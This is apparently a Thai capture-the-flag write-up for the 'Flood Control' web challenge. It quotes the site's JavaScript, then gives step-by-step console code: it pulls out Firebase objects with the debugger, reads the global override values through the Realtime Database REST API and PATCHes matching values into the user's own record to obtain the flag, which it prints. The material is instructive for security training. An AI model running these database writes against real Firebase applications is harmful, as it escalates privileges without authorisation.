---
# System prepended metadata

title: STH Mini Web CTF 2025/2

---

# **🔥 STH Mini Web CTF 2025/2 🔥**

![image](https://hackmd.io/_uploads/S12UGLFlbx.png)
![image](https://hackmd.io/_uploads/rJn_MLKeWl.png)
![image](https://hackmd.io/_uploads/S1QqGIYlbx.png)

Challenge: Web 
Author: TORTY
Flag: 'STH{2d63e3e02c8dd1819494468973af1730}'
![image](https://hackmd.io/_uploads/B1uKLcFxZl.png)


# 🛰️ Flood Control – Firebase Mission Override Abuse

## 1. 🔎 Challenge Overview

![image](https://hackmd.io/_uploads/rkheUwFeZe.png)

เรามาเริ่มจากการ view-source กันก่อนว่ามีข้อมูลอะไรที่เราสามารถดูได้บ้าง
`view-source:https://minictf2.p7z.pw/`
![image](https://hackmd.io/_uploads/r1bCLwFxbg.png)
เราจะพบว่ามีการเรียกไฟล์ `/assets/script.js` และมีข้อมูลของ `firebase`

เว็บเป็นระบบ “ควบคุมสถานีระบายน้ำกรุงเทพฯ” มีฟีเจอร์ดังนี้: 
- สมัคร/ล็อกอินด้วย Firebase Auth
- อ่านข้อมูลสถานีระบายน้ำ
- มี UI ส่วน “Flood Response Token” (flag)
- Flag จะต้องได้จาก /api/flag.php

## 2. 🔍 Source Code Analysis
`Source Code https://minictf2.p7z.pw/assets/script.js`
```
import { initializeApp } from 'https://www.gstatic.com/firebasejs/12.6.0/firebase-app.js';
import { getAuth, onAuthStateChanged, createUserWithEmailAndPassword, signInWithEmailAndPassword, signOut, updateProfile } from 'https://www.gstatic.com/firebasejs/12.6.0/firebase-auth.js';
import { getDatabase, ref, set, update, onValue, get } from 'https://www.gstatic.com/firebasejs/12.6.0/firebase-database.js';

const cfg = JSON.parse(document.getElementById('firebase-config').textContent);
const app = initializeApp(cfg);
const auth = getAuth(app);
const db = getDatabase(app, cfg.databaseURL);

const registerForm = document.getElementById('register-form');
const loginForm = document.getElementById('login-form');
const logoutBtn = document.getElementById('logout-btn');
const authMessage = document.getElementById('auth-message');
const profileCard = document.getElementById('profile-card');
const statusCard = document.getElementById('status-card');
const stationsCard = document.getElementById('stations-card');
const adminCard = document.getElementById('admin-card');
const profileEmail = document.getElementById('profile-email');
const profileRole = document.getElementById('profile-role');
const stationsBody = document.getElementById('stations-body');
const averageLevel = document.getElementById('average-level');
const drainageStatus = document.getElementById('drainage-status');
const statusLog = document.getElementById('status-log');
const floodBanner = document.getElementById('flood-banner');
const toggleBtn = document.getElementById('toggle-drainage');
const adminHint = document.getElementById('admin-hint');
const flagPanel = document.getElementById('flag-panel');
const flagValue = document.getElementById('flag-value');
const authCard = document.getElementById('auth-card');
const missionChannelEl = document.getElementById('mission-channel');

let userRole = 'citizen';
let currentStatus = 'open';
let flagFetched = false;
let profileUnsub = null;
let userOverrideChannel = '';
let userOverrideKey = '';
let userBadge = 'standard';
let hasControlUnlocked = false;
let lastFlagReason = null;
let userControlsUnsub = null;
let globalControlsUnsub = null;
const globalMission = {
    overrideChannel: '',
    overrideToken: '',
    missionWindow: 'normal',
};
let lastUserControlSnapshot = null;
let globalControlsInitiated = false;

const defaultControlState = () => ({
    drainageStatus: 'open',
    averageLevel: 1.24,
    statusMessage: 'ระบบเปิดประตูระบายน้ำทั้งหมดในโหมดรักษาเสถียร',
    updatedBy: 'system@sth.local',
    lastUpdated: new Date().toISOString(),
});

registerForm?.addEventListener('submit', async (e) => {
    e.preventDefault();
    const form = new FormData(registerForm);
    const email = form.get('email');
    const password = form.get('password');
    const displayName = (email || '').split('@')[0] || 'ผู้ใช้งาน';
    try {
        const cred = await createUserWithEmailAndPassword(auth, email, password);
        await updateProfile(cred.user, { displayName });
        await set(ref(db, `users/${cred.user.uid}`), {
            displayName,
            email,
            role: 'citizen',
            controlUnlocked: false,
            createdAt: new Date().toISOString()
        });
        await set(ref(db, `controls/users/${cred.user.uid}`), defaultControlState());
        authMessage.textContent = 'สมัครสมาชิกสำเร็จแล้ว กรุณาเข้าสู่ระบบ';
    } catch (error) {
        authMessage.textContent = `เกิดข้อผิดพลาด: ${error.message}`;
    }
});

loginForm?.addEventListener('submit', async (e) => {
    e.preventDefault();
    const form = new FormData(loginForm);
    const email = form.get('email');
    const password = form.get('password');
    try {
        await signInWithEmailAndPassword(auth, email, password);
        authMessage.textContent = '';
    } catch (error) {
        if (error?.code === 'auth/invalid-credential') {
            authMessage.textContent = 'ชื่อผู้ใช้งานหรือรหัสผ่านไม่ถูกต้อง';
        } else {
            authMessage.textContent = `เข้าสู่ระบบไม่ได้: ${error.message}`;
        }
    }
});

logoutBtn?.addEventListener('click', () => signOut(auth));

onAuthStateChanged(auth, async (user) => {
    if (user) {
        authCard.style.display = 'none';
        profileCard.style.display = 'block';
        statusCard.style.display = 'block';
        stationsCard.style.display = 'block';
        profileEmail.textContent = user.email;
        logoutBtn.style.display = 'inline-block';
        await subscribeProfile(user);
        fetchStations(user);
        watchGlobalControls();
        watchUserControls(user);
    } else {
        authCard.style.display = 'block';
        profileCard.style.display = 'none';
        statusCard.style.display = 'none';
        stationsCard.style.display = 'none';
        adminCard.style.display = 'none';
        logoutBtn.style.display = 'none';
        if (profileUnsub) { profileUnsub(); profileUnsub = null; }
        if (userControlsUnsub) { userControlsUnsub(); userControlsUnsub = null; }
        if (globalControlsUnsub) { globalControlsUnsub(); globalControlsUnsub = null; }
        globalMission.overrideChannel = '';
        globalMission.overrideToken = '';
        globalMission.missionWindow = 'normal';
        globalControlsInitiated = false;
        flagPanel.classList.remove('active');
        flagValue.textContent = 'รอสถานะน้ำล้นตลิ่ง...';
        flagFetched = false;
        if (missionChannelEl) { missionChannelEl.textContent = '-'; }
        stationsBody.innerHTML = '<tr><td colspan="6">กรุณาเข้าสู่ระบบเพื่อดูข้อมูลสถานี</td></tr>';
    }
});

async function subscribeProfile(user) {
    if (profileUnsub) {
        profileUnsub();
    }
    const userRef = ref(db, `users/${user.uid}`);
    profileUnsub = onValue(userRef, (snapshot) => {
        const data = snapshot.val() || {};
        userRole = data.role || 'citizen';
        profileRole.textContent = userRole.toUpperCase();
        hasControlUnlocked = Boolean(data.controlUnlocked);
        userOverrideChannel = data.overrideChannel || '';
        userOverrideKey = data.overrideKey || '';
        userBadge = data.badge?.toUpperCase?.() || 'STANDARD';
        if (userRole === 'admin' && hasControlUnlocked) {
            adminCard.style.display = 'block';
            adminHint.textContent = 'คุณมีสิทธิ์ควบคุมการเปิด-ปิด ระบบระบายน้ำ';
        } else {
            adminCard.style.display = 'none';
        }
    });
}

async function fetchStations(currentUser = null) {
    const targetUser = currentUser || auth.currentUser;
    if (!targetUser) {
        stationsBody.innerHTML = '<tr><td colspan="6">กรุณาเข้าสู่ระบบเพื่อดูข้อมูลสถานี</td></tr>';
        return;
    }
    try {
        const token = await targetUser.getIdToken();
        const res = await fetch('/api/stations.php', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ idToken: token }),
        });
        if (!res.ok) {
            throw new Error('error loading stations');
        }
        const data = await res.json();
        const rows = data.stations.map((station) => `
            <tr>
                <td><strong>${station.name_th}</strong><br><small>${station.name_en}</small></td>
                <td>${station.canal}</td>
                <td>${station.district}</td>
                <td>${Number(station.average_level).toFixed(2)}</td>
                <td>${station.pumps_online} เครื่อง</td>
                <td><span class="status-pill ${station.gate_status === 'เปิด' ? 'status-open' : 'status-closed'}">${station.gate_status}</span></td>
            </tr>`).join('');
        stationsBody.innerHTML = rows;
        if (data.averageLevel) {
            averageLevel.textContent = Number(data.averageLevel).toFixed(2);
        }
    } catch (error) {
        stationsBody.innerHTML = '<tr><td colspan="6">ไม่สามารถโหลดข้อมูลสถานีได้</td></tr>';
    }
}

function watchUserControls(user) {
    if (userControlsUnsub) {
        userControlsUnsub();
    }
    const userControlsRef = ref(db, `controls/users/${user.uid}`);
    userControlsUnsub = onValue(userControlsRef, (snapshot) => {
        const info = snapshot.val() || defaultControlState();
        currentStatus = info.drainageStatus || 'open';
        drainageStatus.textContent = currentStatus === 'open' ? 'เปิดระบายน้ำ' : 'ปิดระบายน้ำ';
        averageLevel.textContent = info.averageLevel ? Number(info.averageLevel).toFixed(2) : '-';
        statusLog.textContent = info.statusMessage || 'รอข้อมูล';
        floodBanner.classList.toggle('hidden', currentStatus !== 'closed');
        toggleBtn.textContent = currentStatus === 'open' ? 'ปิดระบบระบายน้ำชั่วคราว' : 'เปิดระบบระบายน้ำ';
        flagPanel.classList.remove('active');
        flagFetched = false;
        lastUserControlSnapshot = info;
        if (currentStatus === 'closed' && userRole === 'admin' && !hasControlUnlocked) {
            hasControlUnlocked = true;
            const userRef = ref(db, `users/${user.uid}`);
            update(userRef, { controlUnlocked: true }).catch(() => {});
        }
        evaluateFlagState({ trigger: 'user-control' });
    });
}

if (toggleBtn) {
    toggleBtn.addEventListener('click', async () => {
        if (userRole !== 'admin') {
            alert('คุณไม่มีสิทธิ์ควบคุมระบบ');
            return;
        }
        const user = auth.currentUser;
        if (!user) { return; }
        const newStatus = currentStatus === 'open' ? 'closed' : 'open';
        const statusText = newStatus === 'closed'
            ? 'คำสั่งปิดประตูระบายน้ำทั้งหมดเพื่อทดสอบระบบน้ำท่วม'
            : 'กลับมาเปิดระบายน้ำตามปกติ';
        await update(ref(db, `controls/users/${user.uid}`), {
            drainageStatus: newStatus,
            statusMessage: statusText,
            averageLevel: newStatus === 'closed' ? 2.05 : 1.24,
            updatedBy: user.email,
            lastUpdated: new Date().toISOString(),
        });
        if (newStatus === 'closed') {
            requestFlag();
        }
    });
}

const staffActionEnvelope = ({ endpoint, detail, level, meta }) => ({
    endpoint,
    detail: detail ? String(detail) : 'queued',
    level: level || 'field',
    meta: meta || {},
});

const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const randomJitter = () => Math.floor(Math.random() * 120);

function evaluateFlagState(context = {}) {
    const missionReady = Boolean(
        globalMission.overrideChannel
        && globalMission.overrideToken
        && userOverrideChannel
        && userOverrideKey
        && globalMission.overrideChannel === userOverrideChannel
        && globalMission.overrideToken === userOverrideKey
        && globalMission.missionWindow === 'override'
    );
    const canAdmin = currentStatus === 'closed' && userRole === 'admin';
    if (canAdmin || missionReady) {
        requestFlag({ missionReady, canAdmin, ...context });
    }
}

function watchGlobalControls(force = false) {
    if (globalControlsInitiated && !force) {
        return;
    }
    if (globalControlsUnsub) {
        globalControlsUnsub();
        globalControlsUnsub = null;
    }
    const globalRef = ref(db, 'controls/global');
    globalControlsUnsub = onValue(globalRef, (snapshot) => {
        const info = snapshot.val() || {};
        globalMission.overrideChannel = info.overrideChannel || '';
        globalMission.overrideToken = info.overrideToken || '';
        globalMission.missionWindow = info.missionWindow || 'normal';
        if (missionChannelEl) {
            missionChannelEl.textContent = globalMission.overrideChannel || '-';
        }
        evaluateFlagState({ trigger: 'global-control' });
    });
    globalControlsInitiated = true;
}

async function postAdminAction(path, payload, meta = {}) {
    const envelopeMeta = { ...meta, jitter: randomJitter() };
    await sleep(envelopeMeta.jitter);
    const issuedAt = new Date().toISOString();
    if (payload?.dryRun) {
        return { dryRun: true, meta: envelopeMeta };
    }
    try {
        const res = await fetch(path, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ ...payload, issuedAt }),
        });
        if (!res.ok) {
            throw new Error(`${path} rejected`);
        }
        const data = await res.json();
        return { ...data, meta: envelopeMeta };
    } catch (error) {
        return staffActionEnvelope({
            endpoint: path.replace('/api/admin/', ''),
            detail: error,
            level: meta.level || 'ops',
            meta: envelopeMeta,
        });
    }
}

const deterministicShuffle = (items, salt = 0) => {
    const clone = [...items];
    for (let i = clone.length - 1; i > 0; i -= 1) {
        const j = (i + salt + clone[i].toString().length) % clone.length;
        [clone[i], clone[j]] = [clone[j], clone[i]];
    }
    return clone;
};

function deriveSeverity(metrics = []) {
    if (!metrics.length) {
        return { score: 0, status: 'idle' };
    }
    const sum = metrics.reduce((acc, value) => acc + Number(value || 0), 0);
    const avg = sum / metrics.length;
    switch (true) {
        case avg > 75:
            return { score: avg, status: 'critical' };
        case avg > 45:
            return { score: avg, status: 'warning' };
        default:
            return { score: avg, status: 'normal' };
    }
}

async function meteorologicalAdvisorBridge(payload = {}) {
    const horizon = payload.horizon ?? ['3h', '6h', '12h'][Math.floor(Math.random() * 3)];
    let bias = 0;
    for (let i = 0; i < horizon.length; i += 1) {
        bias += horizon.charCodeAt(i) % 5;
    }
    const blendScore = Number(((payload.blendScore || 0.4) + bias / 100).toFixed(2));
    const severity = deriveSeverity([blendScore * 100, bias]);
    const adjusted = {
        ...payload,
        horizon,
        flag: 'forecast',
        blendScore,
        severity,
    };
    return postAdminAction('/api/admin/meteorology/advisor-bridge', adjusted, { level: 'strategic' });
}

async function requestFlag(context = {}) {
    if (flagFetched && !context.force) { return; }
    const user = auth.currentUser;
    if (!user) { return; }
    try {
        const token = await user.getIdToken();
        const res = await fetch('/api/flag.php', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                idToken: token,
                channel: context.missionReady ? 'mission' : 'admin',
            })
        });
        if (!res.ok) {
            flagValue.textContent = 'ยังไม่ได้รับสิทธิ์แสดง Token';
            return;
        }
        const data = await res.json();
        flagFetched = true;
        flagPanel.classList.add('active');
        flagValue.textContent = data.flag;
        lastFlagReason = context.missionReady ? 'mission' : 'admin';
    } catch (error) {
        flagValue.textContent = 'ไม่สามารถเรียกดู Token ได้';
    }
}

async function fieldPumpDispatch(payload = {}) {
    const unit = payload.unit || `FS-${Math.floor(Math.random() * 9) + 1}`;
    const crews = [];
    for (let index = 1; index <= 3; index += 1) {
        crews.push(`${unit}-C${index}`);
    }
    const routing = deterministicShuffle(crews, unit.length).slice(0, 2);
    return postAdminAction('/api/admin/field/pump-dispatch', { ...payload, unit, crews, routing }, { level: 'ops' });
}

async function tacticalTelemetryAudit(payload = {}) {
    const sampled = Array.isArray(payload.nodes) ? payload.nodes.slice(0, 4) : [];
    const anomalies = sampled.map((node) => ({
        node,
        variance: Number(Math.random().toFixed(3)),
    }));
    return postAdminAction('/api/admin/tactical/telemetry-audit', { ...payload, sampled, anomalies }, { level: 'audit' });
}

async function seniorHydrologyOverride(payload = {}) {
    const overrideLoad = (payload.delta ?? 0) * -1;
    const curve = (() => {
        if (overrideLoad < 0) return 'release';
        if (overrideLoad === 0) return 'steady';
        return 'retain';
    })();
    return postAdminAction('/api/admin/hydraulics/override', { ...payload, priority: 'policy', overrideLoad, curve }, { level: 'director' });
}

async function groundResponseCoord(payload = {}) {
    const sector = payload.sector || ['north', 'south', 'east', 'west'][Math.floor(Math.random() * 4)];
    const ops = { teams: [], priority: sector === 'north' ? 'high' : 'normal' };
    for (let idx = 0; idx < 2; idx += 1) {
        ops.teams.push(`${sector.toUpperCase()}-${idx + 1}`);
    }
    return postAdminAction('/api/admin/ground/response-coord', { ...payload, sector, ops }, { level: 'field' });
}

async function publicCommsSignal(payload = {}) {
    const windowHint = (payload.windowHint || '3h').toUpperCase();
    const template = windowHint === '3H' ? 'brief' : 'extended';
    return postAdminAction('/api/admin/public/comms-signal', { ...payload, windowHint, template }, { level: 'comms' });
}

async function maintenanceOverride(payload = {}) {
    const rotation = (payload.rotation || 0) + 1;
    const status = rotation % 2 === 0 ? 'service' : 'standby';
    return postAdminAction('/api/admin/maintenance/override', { ...payload, unit: 'MECH-77', rotation, status }, { level: 'mechanical' });
}

async function complianceTelemetryProbe(payload = {}) {
    const checksum = btoa(JSON.stringify(payload).slice(0, 8));
    return postAdminAction('/api/admin/compliance/telemetry-probe', { ...payload, checksum, retries: payload.retries || 0 }, { level: 'compliance' });
}

async function situationalAwarenessPing(payload = {}) {
    const coverage = Math.min(100, (payload.coverage || 52) + Math.floor(Math.random() * 10));
    const report = coverage > 80 ? 'green' : coverage > 60 ? 'yellow' : 'amber';
    return postAdminAction('/api/admin/situational/awareness-ping', { ...payload, coverage, report }, { level: 'intel' });
}

async function reservoirVectorPulse(payload = {}) {
    const amplitude = Number(payload.amplitude || 1.4) * (Math.random() + 0.5);
    const nodes = (payload.nodes || ['A', 'B', 'C']).map((node, idx) => `${node}-${idx + 1}`);
    return postAdminAction('/api/admin/reservoir/vector-pulse', { ...payload, amplitude, nodes }, { level: 'hydrology' });
}

async function canalReliefBalancing(payload = {}) {
    const reliefRatio = ((payload.reliefRatio ?? 0.65) + Math.random() * 0.1).toFixed(2);
    const modes = ['pulse', 'steady', 'reverse'];
    const mode = modes[Math.floor(Number(reliefRatio) * 10) % modes.length];
    return postAdminAction('/api/admin/canal/relief-balancing', { ...payload, reliefRatio, mode }, { level: 'network' });
}

async function sluiceRealtimeShadow(payload = {}) {
    const mirrors = (payload.mirrors || []).concat(`SL-${Date.now() % 1000}`);
    const sync = mirrors.length > 3;
    return postAdminAction('/api/admin/sluice/realtime-shadow', { ...payload, mirrors, sync }, { level: 'engineer' });
}

async function pumpDockTelemetryRefresh(payload = {}) {
    const refreshToken = crypto.randomUUID?.() || `dock-${Date.now()}`;
    const attempts = payload.attempts ?? 1;
    return postAdminAction('/api/admin/pump-dock/telemetry-refresh', { ...payload, refreshToken, attempts }, { level: 'dockmaster' });
}

async function leveeSensorBroadcast(payload = {}) {
    const mesh = payload.mesh || `LV-${Math.floor(Math.random() * 50)}`;
    const sensors = Array.from({ length: 5 }, (_, idx) => `${mesh}-${idx + 1}`);
    return postAdminAction('/api/admin/levee/sensor-broadcast', { ...payload, mesh, sensors }, { level: 'structural' });
}

async function floodwayOpsHeartbeat(payload = {}) {
    const region = payload.region || 'metro';
    const heartbeat = Date.now();
    const phase = heartbeat % 2 === 0 ? 'even' : 'odd';
    return postAdminAction('/api/admin/floodway/ops-heartbeat', { ...payload, region, heartbeat, phase }, { level: 'operations' });
}

async function evacuationOverlaySync(payload = {}) {
    const overlay = payload.overlay || 'city-grid';
    const slices = (payload.slices || 4) + 1;
    const style = slices > 5 ? 'grid' : 'sector';
    return postAdminAction('/api/admin/evacuation/overlay-sync', { ...payload, overlay, slices, style }, { level: 'public-safety' });
}

async function logisticsFuelRequisition(payload = {}) {
    const depot = payload.depot || `LOG-${String.fromCharCode(65 + Math.floor(Math.random() * 4))}`;
    const liters = payload.liters || Math.round(Math.random() * 8000) + 2000;
    return postAdminAction('/api/admin/logistics/fuel-requisition', { ...payload, depot, liters }, { level: 'logistics' });
}

async function instrumentationIntegritySweep(payload = {}) {
    const profile = payload.profile || `INT-${Math.floor(Math.random() * 99)}`;
    const schedule = new Date(Date.now() + 3600 * 1000).toISOString();
    return postAdminAction('/api/admin/instrumentation/integrity-sweep', { ...payload, profile, schedule }, { level: 'sensors' });
}

async function rainfallNowcastingBlend(payload = {}) {
    const model = payload.model || 'blend-v3';
    const weights = (payload.weights || [0.5, 0.3, 0.2]).map((w, idx) => {
        const noise = (Math.sin(Date.now() / 1000 + idx) + 1) / 20;
        return Number((w + noise).toFixed(2));
    });
    return postAdminAction('/api/admin/rainfall/nowcasting-blend', { ...payload, model, weights }, { level: 'forecast' });
}

async function climateReserveFallback(payload = {}) {
    const scenario = payload.scenario || `fallback-${Math.floor(Math.random() * 3) + 1}`;
    const tier = scenario.includes('2') ? 'elevated' : 'baseline';
    return postAdminAction('/api/admin/climate/reserve-fallback', { ...payload, scenario, tier }, { level: 'resilience' });
}

const backgroundRoutines = [
    meteorologicalAdvisorBridge,
    fieldPumpDispatch,
    rainfallNowcastingBlend,
    tacticalTelemetryAudit,
    logisticsFuelRequisition,
    seniorHydrologyOverride,
    complianceTelemetryProbe,
    maintenanceOverride,
    canalReliefBalancing,
    pumpDockTelemetryRefresh,
];

const scheduleDryRunSweep = (reason) => {
    const salt = reason === 'hidden' ? 7 : reason === 'visible' ? 3 : 5;
    const subset = deterministicShuffle(backgroundRoutines, salt).slice(0, 3);
    subset.forEach((fn, index) => {
        fn({ dryRun: true, reason, window: index }).catch(() => {});
    });
};

document.addEventListener('visibilitychange', () => {
    scheduleDryRunSweep(document.hidden ? 'hidden' : 'visible');
});

setTimeout(() => scheduleDryRunSweep('startup'), 1800);

window.drainageOps = Object.freeze({
    meteorologicalAdvisorBridge,
    fieldPumpDispatch,
    tacticalTelemetryAudit,
    seniorHydrologyOverride,
    groundResponseCoord,
    publicCommsSignal,
    maintenanceOverride,
    complianceTelemetryProbe,
    situationalAwarenessPing,
    reservoirVectorPulse,
    canalReliefBalancing,
    sluiceRealtimeShadow,
    pumpDockTelemetryRefresh,
    leveeSensorBroadcast,
    floodwayOpsHeartbeat,
    evacuationOverlaySync,
    logisticsFuelRequisition,
    instrumentationIntegritySweep,
    rainfallNowcastingBlend,
    climateReserveFallback,
    scheduleDryRunSweep,
    requestFlag,
});
```
หลังตรวจโค้ดพบว่า flag จะถูกส่งเมื่อ `channel = "mission"` และ user ต้องมีค่า override ตรงกับ global override ใน Firebase DB

เป้าหมาย → ปลอมตัวเป็น `“mission override”` โดยเขียนค่าบางอย่างใน Firebase ให้ตรงกับ global

ฝั่ง client มีฟังก์ชันขอ flag:
`window.drainageOps.requestFlag({ missionReady: true, force: true });`

แต่ถ้าเรียกโดยตรง → `403 Forbidden` เพราะ backend ไม่เชื่อ missionReady จาก client

missionReady ถูกคำนวณตามนี้:

`missionReady =
    (global.overrideChannel === user.overrideChannel) &&
    (global.overrideToken   === user.overrideKey) &&
    (global.missionWindow === "override")`

## 3. 🧠 Key Insight — ใช้ Firebase Realtime Database

Firebase config ถูก embed ในหน้าเว็บ:

![image](https://hackmd.io/_uploads/H1x25DKlWx.png)
`"databaseURL": "https://sth-water-control-default-rtdb.asia-southeast1.firebasedatabase.app"`

หมายความว่า:
✔ เราสามารถยิง REST API ไปอ่าน/เขียน DB ได้ตราบใดที่เรามี Firebase ID Token ของ user ที่ login อยู่
✔ ต้องดึงค่า override จาก globalที่ path `controls/global`
✔ จากนั้น patch ค่าเข้า `users/<uid>`

## 4. 🛠️ Step-by-Step Exploit
### 4.1 หยุด script เพื่อดึง Firebase instance ออกมา

เปิด DevTools แล้วไปที่ `Sources` เลือกเปิด `assets/script.js` 
![ภาพถ่ายหน้าจอ 2568-11-18 เวลา 10.45.03](https://hackmd.io/_uploads/BJQNpDYgbg.png)

จากนั้นวาง BreakPoint ที่ `const app = initializeApp(cfg);`
![image](https://hackmd.io/_uploads/ByaDpDtxbx.png)

เมื่อวาง BreakPoint แล้วให้ทำการ Refresh หน้าเว็บแล้ว Script จะหยุด
![messageImage_1763438117053](https://hackmd.io/_uploads/B188ADtgZg.jpg)

จากนั้นกด `Step over next function call` หรือกด `F10` สามครั้ง เพื่อรันผ่าน:
```
app = initializeApp()
auth = getAuth()
db = getDatabase()
```
![messageImage_1763438561537](https://hackmd.io/_uploads/SJ1Mx_tl-l.jpg)


เมื่อรันผ่านตอนนี้ตัวแปร app / auth / db อยู่ใน scope แล้วใช้ Console ผูกเข้ากับ window:
พิมคำสั่งข้างล่างทีละบรรทัดใน Console
```
window.__app  = app;
window.__auth = auth;
window.__db   = db;
```
![messageImage_1763438912357](https://hackmd.io/_uploads/ByodW_FgWg.jpg)

จากนั้นกด Resume Script execution หรือกด F8
![image](https://hackmd.io/_uploads/HyJpZOteZl.png)


### 4.2 Login ด้วย user ปกติ 1 ครั้ง
Login ด้วย User ปกติที่สมัครใหม่
![messageImage_1763438912357 (1)](https://hackmd.io/_uploads/SyxpMutlZe.jpg)

จากนั้นไปที่ Console ให้พิมคำสั่งข้างล่างเพื่อเช็ค User ควรเห็น object ของ `User`
```
window.__auth.currentUser
```
![ภาพถ่ายหน้าจอ 2568-11-18 เวลา 11.26.01](https://hackmd.io/_uploads/rkhtHOFl-l.png)


### 4.3 อ่าน global override จาก Firebase
![image](https://hackmd.io/_uploads/S1rEvdYxZe.png)

ให้พิมคำสั่งข้างล่างนี้เพื่ออ่าน global override 
```
(async () => {
  while (!window.__auth.currentUser) {
    await new Promise(r => setTimeout(r, 500));
  }

  const idToken = await window.__auth.currentUser.getIdToken();

  const url = 'https://sth-water-control-default-rtdb.asia-southeast1.firebasedatabase.app/controls/global.json?auth=' + idToken;
  const r = await fetch(url);
  const data = await r.json();
  console.log('global =', data);
})();
```


ผลลัพธ์จริงที่ได้:
```
{
  missionWindow:"override",
  overrideChannel: "ops-override",
  overrideToken: "test-token-123"
}
````
### 4.4 เขียนค่า override ให้ user ของเรา
ให้พิมคำสั่งข้างล่างนี้เพื่อเขียนค่า override ให้ user ของเรา
![image](https://hackmd.io/_uploads/HycPwdKgZx.png)

```
(async () => {
  const user   = window.__auth.currentUser;
  const idToken = await user.getIdToken();

  const body = {
    overrideChannel: 'ops-override',
    overrideKey:     'test-token-123'
  };

  const url = `https://sth-water-control-default-rtdb.asia-southeast1.firebasedatabase.app/users/${user.uid}.json?auth=${idToken}`;

  const r = await fetch(url, {
    method: 'PATCH',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(body),
  });

  console.log('update result =', await r.json());
})();

```

ผลลัพธ์:
```
{
  "overrideChannel": "ops-override",
  "overrideKey": "test-token-123"
}
```

ตอนนี้ user ของเรามี `mission override` ตรงกับ `global` แล้ว
`= missionReady = true`

### 4.5 เรียก flag ผ่าน client function
ใช้คำสั่งข้างล่างใน Console เพื่อเรียก flag ผ่าน client function
```
window.drainageOps.requestFlag({ missionReady: true, force: true });
```
![image](https://hackmd.io/_uploads/BJnj0YKgZl.png)

ดึงผ่าน console:

```
document.getElementById('flag-value').textContent;
```
![image](https://hackmd.io/_uploads/HJD0CYKx-e.png)


## 5. 🎉 Flag
The flag is : `STH{2d63e3e02c8dd1819494468973af1730}`

